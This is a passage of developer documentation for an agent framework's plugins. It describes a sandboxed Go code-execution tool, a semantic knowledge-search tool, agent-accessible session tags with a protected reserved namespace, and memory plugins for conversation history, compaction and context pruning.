Hard rules enforced before Yaegi ever sees the source:
- Package must be
main. - Must declare
func Run(ctx context.Context) (any, error)exactly. - No
gostatements (phase 1). - Imports restricted to
allowed_packagesplustools,parallel, andskills/<name>for each currently-active skill.
Violations surface as a structured error in the tool result. The script never executes.
Typed Tool Bindings
At every run_code invocation the plugin snapshots the current tool registry and builds a fresh tools package for Yaegi:
- JSON Schema types map to Go:
string→string,integer→int64,number→float64,boolean→bool,array→[]T,object→struct. - Each tool
foo_barbecomestools.FooBar(args tools.FooBarArgs) (<Result>, error). - Return type depends on whether the tool declared
OutputSchema:- With schema →
tools.FooBarResult, a struct generated from the schema. Fields are populated fromToolResult.OutputStructured(preferred) or parsed from JSON inOutputas a fallback. - Without schema → the fixed
tools.Resultstruct ({Output, Error, OutputFile string}). Scripts parseOutputthemselves.
- With schema →
tools.Resultis always exported so helper functions can handle both shapes.- Gate vetoes (
before:tool.invoke) surface as a Goerroron thetools.*call. - Outer
run_codecall is excluded from the binding — scripts cannot recursively invoke themselves.
Declaring an OutputSchema
Tool plugins opt in by adding OutputSchema to their ToolDef and populating ToolResult.OutputStructured:
_ = p.bus.Emit("tool.register", events.ToolDef{
Name: "shell",
// ...
OutputSchema: map[string]any{
"type": "object",
"properties": map[string]any{
"stdout": map[string]any{"type": "string"},
"stderr": map[string]any{"type": "string"},
"exit_code": map[string]any{"type": "integer"},
},
"required": []string{"stdout", "stderr", "exit_code"},
},
})
// ...then in the tool's handler:
result := events.ToolResult{
ID: tc.ID,
Name: tc.Name,
Output: humanReadableSummary,
OutputStructured: map[string]any{
"stdout": stdoutStr,
"stderr": stderrStr,
"exit_code": exitCode,
},
// ...
}
Scripts then see the typed shape:
r, err := tools.Shell(tools.ShellArgs{Command: "ls"})
if err != nil {
return nil, err
}
fmt.Println(r.Stdout, r.Stderr, r.ExitCode)
The existing Output string still flows through the bus unchanged — non-script consumers (LLM conversation history, logging, etc.) see the same human-readable text as before. Tools without schemas continue to work as they always did.
Skill Helpers
Skills may ship .go files alongside SKILL.md. On skill.loaded the plugin reads every non-test .go in the skill dir, rewrites the package declaration to a sanitised name, and stages the result into a per-invocation GOPATH. Scripts import the package as skills/<skill_name>:
import helpers "skills/math-helpers"
func Run(ctx context.Context) (any, error) {
return helpers.Double(21), nil
}
Skills are loaded on skill.loaded and removed on skill.deactivate. Cross-skill imports are not supported in phase 1.
Parallel Primitives
Scripts can parallelize work (tool fan-out or pure compute) via the parallel package. A host-side worker pool bounded by max_workers backs all three primitives; they share the same pool within a single run_code call.
import (
"context"
"parallel"
"tools"
)
func Run(ctx context.Context) (any, error) {
urls := []string{"https://a.example", "https://b.example", "https://c.example"}
// Map: ordered results, first-error-cancels-the-rest.
results, err := parallel.Map(ctx, urls, func(ctx context.Context, u string) (string, error) {
r, err := tools.Fetch(tools.FetchArgs{URL: u})
if err != nil { return "", err }
return r.Body, nil
})
if err != nil { return nil, err }
// results is `any` (Yaegi has no generics); cast to the element slice type.
bodies := results.([]string)
return bodies, nil
}
Semantics (all three):
- First non-nil error wins, cancels the derived
context.Context, waits for in-flight callbacks to observe cancellation, then returns the wrapped error. Mappreserves input order in the output slice;ForEachdiscards results but otherwise identical;Allruns N heterogeneousfunc(ctx context.Context) errorvalues.- Worker pool size =
max_workers(defaultruntime.NumCPU()). Scripts never spawn goroutines directly — thegokeyword is still rejected at the AST layer. - Callback panics are recovered and surface as an error on the outer call.
Expected signatures:
| Primitive | Callback shape |
|---|---|
parallel.Map(ctx, items, fn) | func(ctx context.Context, item T) (R, error) |
parallel.ForEach(ctx, items, fn) | func(ctx context.Context, item T) error |
parallel.All(ctx, fns...) | func(ctx context.Context) error |
Caveat: tools invoked from inside parallel callbacks execute concurrently on the bus. Host tool plugins must tolerate concurrent tool.invoke delivery. The built-in Nexus tools (shell, file, etc.) already do since they rely on OS-level isolation or hold no shared mutable state.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 50 | Handles the outer run_code call |
tool.result | 50 | Routes inner tool results back to the waiting script |
tool.register | 50 | Builds the type catalogue used to generate tools.* bindings |
skill.loaded | 50 | Scans and stages skill helper source files |
skill.deactivate | 50 | Removes skill helpers from the active set |
Emits
| Event | When |
|---|---|
tool.register | Registers the run_code tool at boot |
before:tool.invoke / tool.invoke | For every inner tool call dispatched by a script |
before:tool.result / tool.result | For the outer run_code call |
code.exec.request | Just before script execution (carries the raw script + imports + active skills) |
code.exec.stdout | For every flushed stdout chunk while the script runs; the final chunk has Final=true and carries the truncation flag if applicable |
code.exec.result | When the script has finished, errored out, or timed out — always arrives after the final code.exec.stdout chunk for the same CallID |
Stdout Streaming
The interpreter’s stdout and stderr are wired to a chunking writer that emits code.exec.stdout events while the script is still running. Flush triggers:
- Any newline in the pending buffer — everything up to the newline flushes.
- Pending buffer crosses a 512-byte threshold — forces out long lines that would otherwise wait for a newline.
- Script finish — any residual tail is flushed as the
Finalchunk.
The aggregated Output field on the terminal code.exec.result still contains the full stdout (capped at max_output_bytes), so non-streaming consumers keep working without changes. IO plugins that want live output subscribe to code.exec.stdout instead.
Sandboxing Layers
Defense in depth; each layer enforces a different concern:
- Import allowlist — AST-level rejection of any import not on
allowed_packages∪{tools}∪ activeskills/<name>. - AST
go-stmt rejection — scripts cannot spawn goroutines. - Wall-clock timeout — script runs under
context.WithTimeout;tools.*shims observe cancellation. - Stdout byte cap — capped writer drops excess and flags truncation.
- No heap/CPU cap — documented limitation; operators rely on OS-level process limits if a stronger guarantee is required.
Session Persistence
When persist_scripts is enabled each call writes to plugins/nexus.tool.code_exec/<callID>/:
plugins/nexus.tool.code_exec/<callID>/
script.go # exact source the LLM submitted
stdout.txt # captured stdout (capped)
result.json # JSON-marshaled Run() return value
error.txt # only present if the script failed
Example Config
plugins:
active:
- nexus.tool.shell
- nexus.tool.file
- nexus.tool.code_exec
nexus.tool.code_exec:
timeout_seconds: 30
max_output_bytes: 65536
max_workers: 8
persist_scripts: true
reject_goroutines: true
Non-Goals (phase 1)
- Goroutines /
gokeyword - Provider-native programmatic tool calling (Anthropic
allowed_callers) - Cross-skill imports
- CPU / memory resource limits beyond the wall-clock timeout
- Script REPL or debugger
Knowledge Search Tool
Plugin ID: nexus.tool.knowledge_search
LLM-facing tool that searches configured knowledge-base namespaces using semantic (vector) similarity. Named to parallel web_search — agents pick knowledge_search for configured knowledge and web_search for the open web.
For an end-to-end example wiring this tool into an agent, see the RAG guide.
Capabilities
Requires both:
embeddings.provider— to embed the queryvector.store— to run the similarity search
Both auto-activate via Requires() if not in the user’s active list.
Configuration
nexus.tool.knowledge_search:
namespaces: [kb, project-docs] # required allow-list
default_namespaces: [kb] # subset used when LLM omits the arg
top_k: 5
include_metadata: true
# tool_name: knowledge_search # rename the LLM-visible tool if you want
| Key | Type | Default | Description |
|---|---|---|---|
namespaces | list of string | (required, non-empty) | Allow-list of namespaces the tool can query. |
default_namespaces | list of string | (equal to namespaces) | Subset used when the LLM doesn’t pass namespaces arg. |
top_k | int | 5 | Default max results. LLM may override per call up to maxTopK = 50. |
include_metadata | bool | true | Whether to return the full metadata map alongside structured fields. |
tool_name | string | knowledge_search | LLM-visible tool name. Override if it collides with another tool. |
The active embeddings.provider plugin owns the model choice. Configure
it on that plugin (e.g. nexus.embeddings.openai.model); the model used
to ingest must match the model used to query.
If namespaces is empty or unset, boot fails — the tool refuses to register without a defined allow-list.
Tool surface
| Argument | Type | Required | Notes |
|---|---|---|---|
query | string | yes | The semantic query. Phrase it as you would a search. |
namespaces | array of string | no | Subset of allowed namespaces. Filtered through the allow-list; unknown names silently dropped. |
k | int | no | Max results. Defaults to top_k, capped at maxTopK = 50. |
Output
{
"query": "what is the plugin lifecycle?",
"results": [
{
"rank": 1,
"namespace": "project-docs",
"similarity": 0.84,
"source": "docs/architecture/plugin-system.md",
"chunk_idx": "2",
"content": "Each plugin goes through three lifecycle phases: Init, Ready, and Shutdown...",
"metadata": {
"source": "docs/architecture/plugin-system.md",
"chunk_idx": "2",
"chunk_size": "768"
}
},
...
]
}
Fields:
| Field | Description |
|---|---|
rank | 1-based ranking by similarity, post-merge across namespaces. |
namespace | Which namespace the hit came from. |
similarity | Cosine similarity in [-1, 1]. Higher is better. |
source | Lifted from metadata.source for convenient citation. |
chunk_idx | Lifted from metadata.chunk_idx. |
content | The original chunk text, suitable for quoting. |
metadata | Full metadata map (only when include_metadata: true). |
Behavior
- Trim and validate the query. Empty queries return an error result (the LLM sees
Error: "query argument required"). - Resolve the namespace set: LLM-supplied names ∩ allow-list, falling back to
default_namespaceswhen the LLM didn’t specify. - Embed the query once via the
embeddings.provider. - Fan out one
vector.queryper namespace, all with the same vector andK = k. - Merge all hits, sort by similarity descending, truncate to
k. - Format as JSON and emit
tool.result.
Per-namespace failures log a warning but don’t fail the call — partial results are better than zero.
Choosing top_k
Higher = more context for the LLM, lower = less noise. Typical starting points:
| Use case | top_k |
|---|---|
| Strict citation, narrow questions | 3 |
| General knowledge base | 5 (default) |
| Open-ended research | 10 |
Don’t exceed the LLM’s context budget. With chunk size 1000 and top_k=10, the tool can return ~10 KB of JSON per call — fine for claude-sonnet-4, tight for smaller models.
Prompting the LLM
By default, the LLM may not realize the tool is the right thing to call for factual questions about your knowledge base. Add a hint to the system prompt — configs/rag.yaml does this:
nexus.agent.react:
system_prompt: |
You are a helpful assistant with access to a knowledge base. When the user
asks a factual question, use the knowledge_search tool first to pull
supporting chunks from the knowledge base, then cite sources by file path.
Adjust this for your domain. Be specific about what the knowledge base contains so the LLM knows when to reach for the tool.
Events
| Event | Direction | Payload |
|---|---|---|
tool.invoke | Catalog → plugin | events.ToolCall |
embeddings.request | Plugin → bus | *EmbeddingsRequest |
vector.query | Plugin → bus | *VectorQuery |
before:tool.result | Plugin → bus (vetoable) | *events.ToolResult |
tool.result | Plugin → bus | events.ToolResult |
tool.register | Plugin → bus (Ready) | events.ToolDef |
Gate interaction
Goes through the standard vetoable before:tool.result hook, so existing gates apply unchanged: nexus.gate.content_safety, nexus.gate.output_length, nexus.gate.tool_filter, etc.
To restrict which agents can call this tool, use nexus.gate.tool_filter per-profile rather than maintaining multiple plugin instances.
Errors
at least one namespace must be configured under 'namespaces'at boot — the allow-list is required and must be non-empty.query argument requiredin tool output — the LLM called without aquery.embed query: ...— the embeddings provider returned an error. Check the provider’s log line for the underlying cause.no valid namespaces selected— every namespace the LLM passed was filtered out by the allow-list. Either widen the allow-list or fix the system prompt so the LLM only requests valid names.
Session Tags Tool
Gives the agent itself read/write access to its own session’s tags (key/value labels attached to the session), via four LLM-facing tools. Off by default.
Details
| ID | nexus.tool.session_tags |
| Source | plugins/tools/session_tags/plugin.go |
| Tool Names | session_tag_set, session_tag_get, session_tag_delete, session_tag_list |
| Dependencies | None |
| Default state | Not active — opt-in only |
Opting in
This plugin ships in the main binary but is not part of any stock config’s plugins.active list. To give the agent this capability, add it explicitly:
plugins:
active:
- nexus.tool.session_tags
# ... your other active plugins
Same convention as nexus.embeddings.mock and other optional plugins: it’s compiled in, just not activated unless listed.
Configuration
nexus.tool.session_tags:
tools:
session_tag_set: true # default
session_tag_get: true # default
session_tag_delete: true # default
session_tag_list: true # default
| Key | Type | Default | Description |
|---|---|---|---|
tools.<tool_name> | bool | true for each | Per-tool enable/disable, mirroring nexus.tool.file’s tools.<tool_name> convention. Recognized names are session_tag_set, session_tag_get, session_tag_delete, session_tag_list; an unknown name under tools is logged and ignored rather than failing boot. |
Tools
session_tag_set
| Parameter | Type | Required | Description |
|---|---|---|---|
key | string | Yes | The tag key to set. Must not start with an underscore. |
value | string | Yes | The tag value. |
Output (OutputStructured): {"key": string, "value": string}.
Sets a general-namespace session tag. Rides the same vetoable before:session.tag.set bus path any other caller uses — see Behavior and the reserved namespace below.
session_tag_get
| Parameter | Type | Required | Description |
|---|---|---|---|
key | string | Yes | The tag key to read. |
Output (OutputStructured): {"key": string, "value": string, "found": bool} (value only present when found is true).
Reads a single general-namespace tag directly off SessionMetadata().Labels — this call never touches the bus.
session_tag_delete
| Parameter | Type | Required | Description |
|---|---|---|---|
key | string | Yes | The tag key to delete. |
Output (OutputStructured): {"key": string}.
Deletes a general-namespace session tag. Rides the vetoable before:session.tag.delete bus path.
session_tag_list
No parameters.
Output (OutputStructured): {"tags": {"<key>": "<value>", ...}} — every general-namespace tag currently set on the session.
Behavior and the reserved namespace
This plugin can only ever touch the general (non-_-prefixed) namespace of SessionMeta.Labels. It has no special-casing, no pre-check, and no bypass around the engine’s reserved-prefix enforcement:
session_tag_set/session_tag_deleteemitbefore:session.tag.set/before:session.tag.deleteexactly like any other bus caller. The one enforcement point —engine.installSessionTagHandlers, using the sharedengine.IsReservedLabelKeyprefix check — rejects a reserved (_-prefixed) key unconditionally. A rejected call surfaces as an ordinary tool error (the veto reason), not a crash or a silent no-op.session_tag_getreports a reserved key as not found ("found": false), identical to a key that was never set. It never uses a different error message or code path to reveal that the key exists.session_tag_listomits reserved keys entirely from its result set — not redacted, not marked, simply absent, so the tool result carries no signal that a reserved namespace even exists.
In short: there is no argument, config key, or call sequence through this plugin that reads, writes, or enumerates a reserved-prefixed tag. Reserved tags (for example the identity-derived _principal_id binding written by nexus.io.agui) are written through a direct Go method not exposed on the bus, entirely outside this plugin’s reach.
For the full mechanics of the reserved-prefix mechanism itself — what counts as reserved, who else can write general-namespace tags without going through this plugin, and how session.tag.set/session.tag.deleted announcements fit into the rest of the system — see Session Tags.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 50 | Handles session_tag_set/get/delete/list calls |
Emits
| Event | When |
|---|---|
before:session.tag.set | session_tag_set call, before applying |
before:session.tag.delete | session_tag_delete call, before applying |
before:tool.result | Before publishing any tool result (vetoable — gates can inspect/block) |
tool.result | Tool call result |
tool.register | Registers all four tools at Ready() |
Reads (session_tag_get, session_tag_list) emit no bus events beyond the standard before:tool.result/tool.result pair — they read SessionMetadata().Labels directly and never touch the tag-write bus path.
Errors
key argument is required—session_tag_set/get/deletecalled without akey.no active session— called outside a session context.- A vetoed
before:session.tag.set/before:session.tag.deletesurfaces the veto’sReasonas the tool’sErrorstring (this is how a reserved-key write/delete attempt is reported).
Example Configuration
plugins:
active:
- nexus.tool.session_tags
# ... rest of your active plugins
nexus.tool.session_tags:
tools:
session_tag_delete: false # let the agent set/read/list, but never delete
Memory Plugins
Memory plugins fall into three groups by what they remember and how:
- Conversation history — the active message buffer that ships back to the LLM on every turn. One plugin advertising
memory.historyis active at a time. - Compaction — summarizes older messages so the conversation stays within the context window.
- Cross-session memory — persists knowledge between sessions. Two flavors: structured (key-addressed notes) and semantic (embedding-addressed recall).
Available Memory Plugins
| Plugin | ID | Capability | Purpose |
|---|---|---|---|
| Simple History | nexus.memory.simple | memory.history | Unbounded append-only history; reference/test impl |
| Capped History | nexus.memory.capped | memory.history | Sliding window with JSONL persistence (default memory.history provider) |
| Summary-Buffer History | nexus.memory.summary_buffer | memory.history + memory.compaction | Keeps recent N verbatim, LLM-summarizes older inline |
| Context Compaction | nexus.memory.compaction | memory.compaction | External coordinator that summarizes old messages and emits memory.compacted |
| Long-Term Memory | nexus.memory.longterm | memory.longterm | Cross-session structured notes: file-per-entry, YAML frontmatter + markdown, key-addressed, LLM tools (memory_read, memory_write, memory_list, memory_delete) |
| Vector Memory | nexus.memory.vector | memory.vector | Cross-session semantic recall: embedding-addressed, automatic on every turn, auto-stores compaction summaries |
How Memory Works
Within a session, conversation memory plugins listen to I/O and tool events, building up a message buffer. When agents need history (for llm.request), they query the active memory.history provider via memory.history.query. When the buffer would exceed the context window, the compaction plugin (if active) summarizes older messages and emits memory.compacted so any history buffer that supports adoption can swap in the compacted view.
Across sessions, two independent plugins offer different recall styles:
nexus.memory.longtermis the agent’s filing cabinet. The LLM deliberately writes structured notes by key; on each session start, an index of titles + tags is injected into the system prompt and the agent reads full content on demand.nexus.memory.vectoris the agent’s associative memory. On every user input, the plugin embeds the message and pulls semantically-similar past content into the prompt automatically. It also auto-stores compaction summaries so trimmed context stays recallable.
The two coexist and don’t share storage — pick one, or activate both for complementary recall styles. They’re documented side-by-side in Vector Memory → vs long-term memory. For the full RAG context, see the RAG guide.
Simple History
Minimal reference implementation of memory.history: an unbounded,
in-memory slice with no persistence. Useful for tests, demos, and
short-lived sessions where the sliding-window/pair-safe machinery of
nexus.memory.capped adds no value.
Details
| ID | nexus.memory.simple |
| Capability | memory.history |
| Dependencies | None |
Configuration
No configuration required.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.input | 10 | Records user messages |
llm.response | 10 | Records assistant responses (with ToolCalls populated) |
tool.invoke | 10 | Tracks ParentCallID filter set only; no message appended |
tool.result | 10 | Records tool role messages (unless internally dispatched) |
memory.history.query | 50 | Responds with the current buffer in LLM-native order |
memory.compacted | 50 | Replaces the buffer with the compacted message set |
Emits
None.
Behaviour
- Storage mirrors
events.Messageexactly so consumers feed the buffer directly into anLLMRequestwithout translation. - Internal tool calls (
ParentCallID != "") are filtered so the LLM never seestool_use_ids it didn’t generate — same invariant asnexus.memory.capped. llm.responseevents tagged withMetadata["_source"](planner replies, summariser replies) are ignored so only user-facing turns land in the buffer.- No persistence: history is lost on process exit.
When to Use
- Integration tests where the default
cappedplugin’s JSONL persistence is overhead. - Experimental agents where bounded history would confuse the outcome.
- Reference for building a new
memory.historyprovider.
Example Configuration
capabilities:
memory.history: nexus.memory.simple
plugins:
active:
- nexus.agent.react
- nexus.memory.simple
Capped Conversation History
Maintains a sliding window of conversation messages and persists them to the session as JSONL. Default provider of memory.history.
Details
| ID | nexus.memory.capped |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
max_messages | int | 100 | Maximum messages to keep in the buffer |
persist | bool | true | Write messages to context/conversation.jsonl in the session |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.input | 10 | Records user messages |
io.output | 10 | Records agent responses |
tool.invoke | 50 | Records tool calls |
tool.result | 50 | Records tool results |
memory.store | 50 | Explicit memory storage requests |
memory.query | 50 | Responds to history queries |
memory.compacted | 50 | Replaces history with compacted version |
Emits
| Event | When |
|---|---|
memory.result | Response to a memory.query |
Behavior
- Messages are stored in a rolling buffer of size
max_messages - Oldest messages are dropped when the buffer is full
- If
persist: true, each message is appended tocontext/conversation.jsonlas it arrives - On
memory.compacted, the buffer is replaced with the compacted messages
Querying History
Other plugins can query conversation history:
bus.Emit("memory.query", events.MemoryQuery{
Query: "", // Not filtered — returns all
Limit: 50, // Max messages to return
SessionID: "...", // Current session
})
// Listen for memory.result event with the messages
Example Configuration
nexus.memory.capped:
max_messages: 200
persist: true
Summary-Buffer History
Inline auto-compacting memory.history provider. Keeps the most recent
max_recent messages verbatim and replaces older messages with an
LLM-generated summary, emitted as a single system message at the head of
the buffer.
Unlike nexus.memory.compaction — which is an external
coordinator that emits memory.compacted for a separate history plugin
to adopt — this plugin serves memory.history directly, so the
summarised view is what the ReAct agent sees on the next request.
Details
| ID | nexus.memory.summary_buffer |
| Capabilities | memory.history, memory.compaction |
| Dependencies | An LLM provider addressable by the configured model_role. |
Note. Running this plugin alongside
nexus.memory.compactionis a misconfiguration: both advertisememory.compactionand the engine will emit a boot-time WARN naming the ambiguity. Pick one.
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
strategy | string | "message_count" | Trigger type: "message_count", "token_estimate", "turn_count" |
message_threshold | int | 50 | Buffer size that fires message_count strategy |
token_threshold | int | 30000 | Estimated tokens that fires token_estimate strategy |
turn_threshold | int | 10 | Turn count that fires turn_count strategy |
chars_per_token | float64 | 4.0 | Rough per-token char ratio for token estimation |
max_recent | int | 8 | Number of recent messages kept verbatim after summarisation |
model_role | string | "quick" | Role used to dispatch the summarisation LLM request |
prompt | string | built-in | Inline override of the summarisation system prompt. The default prompt is reasoning-preservation aware: it instructs the summariser to wrap segments in <summary topic="…" compressed-from-turns="…">…</summary> and end with a ## Preserved Kinds: trailer. Overriding loses both behaviours. |
prompt_file | string | unset | Path to a file containing the summarisation prompt (takes precedence over prompt) |
quality_retry | bool | false | Re-run the summariser once with a stricter prompt when the trailer omits any required preserved kind. Off by default for backwards compatibility. |
require_preserved_kinds | []string | ["decision","rationale"] | Trailer kinds whose presence is required when quality_retry: true. Allowed values: decision, rationale, error, next_step, technical_detail. |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.input | 10 | Records user messages |
llm.response | 10 | Records assistant responses; absorbs summariser replies tagged _source=nexus.memory.summary_buffer |
tool.invoke | 10 | Tracks internal-call filter |
tool.result | 10 | Records tool role messages |
agent.turn.end | 5 | Increments turn counter (drives turn_count strategy) |
memory.history.query | 50 | Serves the current buffer in LLM-native order |
memory.compact.request | 10 | Forces a summarisation cycle (from context-window gate, etc.) |
Emits
| Event | When |
|---|---|
llm.request | When a summarisation trigger fires. Tagged Metadata["_source"] = "nexus.memory.summary_buffer" |
memory.compaction.triggered | Start of each summarisation cycle |
memory.compacted | End of each summarisation cycle, with the new buffer contents |
memory.summary_replaced | Span-level replacement event with from-turn range, original/summary token estimates, and the trailer-reported preserved kinds |
memory.curated | Stability descriptor for the cache-aware prompt builder (Layer: "summary_buffer", CacheInvalidates: true) |
io.status | UI status updates: "Summarising context..." / "idle" |
Behaviour
- Every append runs a threshold check (except
turn_count, which checks atagent.turn.end). - On trip, the plugin snapshots the buffer and computes a safe split —
protecting the trailing
max_recentmessages, shifting the boundary left when needed so an assistanttool_useand its matchingtool_result(s) are never separated. - The snapshot prefix is serialised into a transcript and sent to the
LLM via the configured
model_role. - On the summariser’s reply, the plugin collapses the prefix into a
single system message (
"## Prior Context (Summarised)\n\n...") and replaces the buffer with[summary, ...recent]. memory.compactedis emitted so any observer plugins (logger, UI) see the transition.
When to Use
- Long-running chat sessions where context window is the binding constraint.
- Agents that don’t benefit from verbatim history beyond the last few turns.
- Workloads that tolerate occasional latency spikes when a summarisation cycle runs mid-turn.
Example Configuration
capabilities:
memory.history: nexus.memory.summary_buffer
plugins:
active:
- nexus.agent.react
- nexus.memory.summary_buffer
nexus.memory.summary_buffer:
strategy: token_estimate
token_threshold: 20000
max_recent: 10
model_role: quick
Context Compaction
Monitors conversation size and automatically summarizes older messages using an LLM when thresholds are exceeded. This prevents the context window from growing unbounded.
Details
| ID | nexus.memory.compaction |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
strategy | string | message_count | Trigger strategy: message_count, token_estimate, or turn_count |
message_threshold | int | 50 | Trigger when message count exceeds this (for message_count strategy) |
token_threshold | int | 30000 | Trigger when estimated tokens exceed this (for token_estimate strategy) |
turn_threshold | int | 10 | Trigger when turn count exceeds this (for turn_count strategy) |
chars_per_token | float | 4.0 | Characters per token estimate (for token_estimate strategy) |
model_role | string | quick | Model role for the compaction LLM call |
protect_recent | int | 4 | Number of most recent messages to keep verbatim (not summarized) |
compaction_prompt | string | (built-in) | Custom inline prompt for the summarization |
prompt_file | string | (none) | Path to a custom compaction prompt file |
persist | bool | true | Persist the live tracked log and archive snapshots to the session workspace |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.input / io.output | 5 | Track messages for threshold checks |
tool.invoke / tool.result | 5 | Track tool messages |
agent.turn.end | 30 | Check thresholds after each turn |
llm.response | 5 | Track token usage |
Emits
| Event | When |
|---|---|
llm.request | Sends summarization request to LLM |
memory.compaction.triggered | Compaction started |
memory.compacted | Compaction complete — new message set |
thinking.step | Records the compaction reasoning |
io.status | Status updates during compaction |
Strategies
message_count
Triggers compaction when the total number of tracked messages exceeds message_threshold.
token_estimate
Estimates token count using chars_per_token and triggers when token_threshold is exceeded. This is approximate but avoids counting actual tokens.
turn_count
Triggers when the number of completed turns exceeds turn_threshold.
How Compaction Works
- Threshold is exceeded after a turn ends
- Plugin emits
memory.compaction.triggered - Archives the pre-compaction transcript to the session workspace
- Sends older messages (excluding the
protect_recentmost recent) to the LLM for summarization - Writes the returned summary as a sidecar next to the archive snapshot
- Rotates the live log so it now holds
[summary, ...protected] - Emits
memory.compactedwith the new message set - The active
memory.historyprovider replaces its buffer with the compacted version
Persisted Artifacts
When persist is enabled (the default) the plugin mirrors its tracked
state into the session workspace so every compaction cycle is fully
auditable:
plugins/nexus.memory.compaction/
├── current.jsonl # live log — mirrors in-memory state
└── archive/
├── 001-20260410-142301.jsonl # pre-compaction snapshot
├── 001-20260410-142301.meta.json # reason, strategy, counts
├── 001-20260410-142301.summary.md # LLM-produced summary
├── 002-20260410-151855.jsonl
├── 002-20260410-151855.meta.json
└── 002-20260410-151855.summary.md
current.jsonlis appended to on every tracked message and rewritten in place at the end of each compaction. After rotation it contains the summary system message followed by the protected recent messages, which is exactly what the plugin holds in memory.- Each
archive/NNN-*cycle is a three-file record: the raw transcript that was compacted, the metadata describing why, and the summary that replaced it. The numeric counter is recovered from the archive directory on startup so numbering survives session resumes. - On
Ready()the plugin preloadscurrent.jsonlso a resumed session continues from the exact state it left, with any prior compaction summaries already in place.
Example Configuration
nexus.memory.compaction:
strategy: token_estimate
token_threshold: 30000
model_role: quick
protect_recent: 6
With Custom Prompt
nexus.memory.compaction:
strategy: message_count
message_threshold: 40
model_role: quick
protect_recent: 4
prompt: |
Summarize the conversation so far in 200 words or less, preserving any
decisions, code changes, and unresolved questions.
Tool-Result Clearing
Live curator that drops the body of stale tool results from outgoing LLM
requests while keeping the call/result envelope. The model still sees that
the tool was invoked; the (often large) body is replaced inline with a
<tool_result … cleared="true" …/> marker.
This is the highest-leverage layer in Idea 30’s curation stack — for tool-heavy sessions, 50–80% of context bytes are tool-result bodies, most of which are dead weight by the time the next request fires.
Details
| ID | nexus.memory.tool_result_clear |
| Capabilities | none |
| Dependencies | none |
Operates at priority 12 on before:llm.request — after
nexus.discovery.progressive (priority 8) has shaped the tool list, then
re-shapes the outgoing message slice without touching the upstream
history buffer.
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Toggle the curator. |
age_turns | int | 5 | Clear tool results older than this many turns when also exceeding size_bytes_threshold. |
size_bytes_threshold | int | 1000 | Skip clearing for result bodies smaller than this many bytes. |
preserve_recent_kinds | []string | ["error","user_question"] | Result kinds never cleared regardless of age. |
drop_strategy | string | replace_with_envelope | replace_with_envelope keeps the call/result pair with a marker body (default). full_drop removes the message entirely; risks tool_use/tool_result pairing breakage. |
Heuristics
A tool result is cleared when any of the following hold:
- Age + size —
now_turn − call_turn ≥ age_turnsANDlen(result) ≥ size_bytes_threshold. - Subsequent-call — the same tool was invoked later with semantically equivalent arguments (canonical-JSON hash). Earlier results are redundant.
- Preserved kind exemption — results classified as
error(and any kind listed inpreserve_recent_kinds) are never cleared.
Once an ID is cleared, it stays cleared for the remainder of the session — subsequent requests re-replace deterministically without re-running the heuristic.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 60 | Track call name, canonical args hash, and turn |
tool.result | 60 | Record result size and kind classification |
agent.turn.end | 60 | Increment internal turn counter |
before:llm.request | 12 | Mutate req.Messages, replace stale tool result bodies |
Emits
| Event | When |
|---|---|
memory.tool_result_cleared | Once per cleared call (carries tool_call_id, tool, original_size, cleared_at_turn, reason) |
memory.curated | Envelope event with stability descriptor (Layer: "tool_result_clear", CacheInvalidates: false) |
Replay Determinism
The clearing decision is heuristic, but every cleared call is recorded as
a memory.tool_result_cleared event. The durable journal (Idea 01)
captures these events so replay reproduces the same envelope without
re-running the heuristic.
Example Configuration
plugins:
active:
- nexus.agent.react
- nexus.memory.tool_result_clear
nexus.memory.tool_result_clear:
enabled: true
age_turns: 4
size_bytes_threshold: 512
preserve_recent_kinds: ["error", "user_question"]
drop_strategy: replace_with_envelope
Tool-Definition Pruner
Removes individual tool definitions from outgoing LLMRequest.Tools
when those tools have been idle past a turn threshold. Pairs with
nexus.discovery.progressive: progressive scopes
by class, this scopes per individual tool.
For sessions where the agent loaded 30 tool definitions in turn 4 but only uses 3 of them, the pruner keeps the unused 27 from paying tokens on every subsequent request.
Details
| ID | nexus.memory.tool_def_pruner |
| Capabilities | none |
| Dependencies | none |
Operates at priority 14 on before:llm.request — after both
nexus.discovery.progressive (8) and nexus.memory.tool_result_clear
(12) have shaped the request.
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Toggle the pruner. |
unused_turns_threshold | int | 6 | Drop a tool definition after this many consecutive turns without an invocation. |
never_prune | []string | ["discover","ask_user"] | Tool names exempt from pruning. |
Behaviour
- Subscribes to
tool.invoketo reset the per-tool last-used counter on every successful call. A pruned tool that the agent invokes again is un-pruned automatically — typically by going back throughdiscovery/progressive’sdiscovermeta-tool. - First sight of a tool registers it at the current turn rather than zero, so freshly-loaded tools aren’t pruned the moment they appear.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 60 | Reset per-tool last-used counter |
agent.turn.end | 60 | Increment internal turn counter |
before:llm.request | 14 | Filter req.Tools |
Emits
| Event | When |
|---|---|
memory.tool_def_pruned | Per pruned tool (carries tool_id, last_used_turn, definition_size) |
memory.curated | Envelope event (Layer: "tool_def_pruner", CacheInvalidates: true — tool defs are part of the cached prefix) |
Example Configuration
plugins:
active:
- nexus.agent.react
- nexus.memory.tool_def_pruner
nexus.memory.tool_def_pruner:
unused_turns_threshold: 6
never_prune: ["discover", "ask_user", "memory_read"]
Topic-Aware Pruner
Detects topic boundaries in user input and emits
memory.topic_shift_detected. The pruner does not itself rewrite
history; it surfaces the shift so other plugins (summary buffer,
compaction) can react.
Details
| ID | nexus.memory.topic_pruner |
| Capabilities | none |
| Dependencies | none; uses embeddings.provider opportunistically when one is registered. |
Two signals are combined:
- Explicit phrase — substring match against a configurable list
(
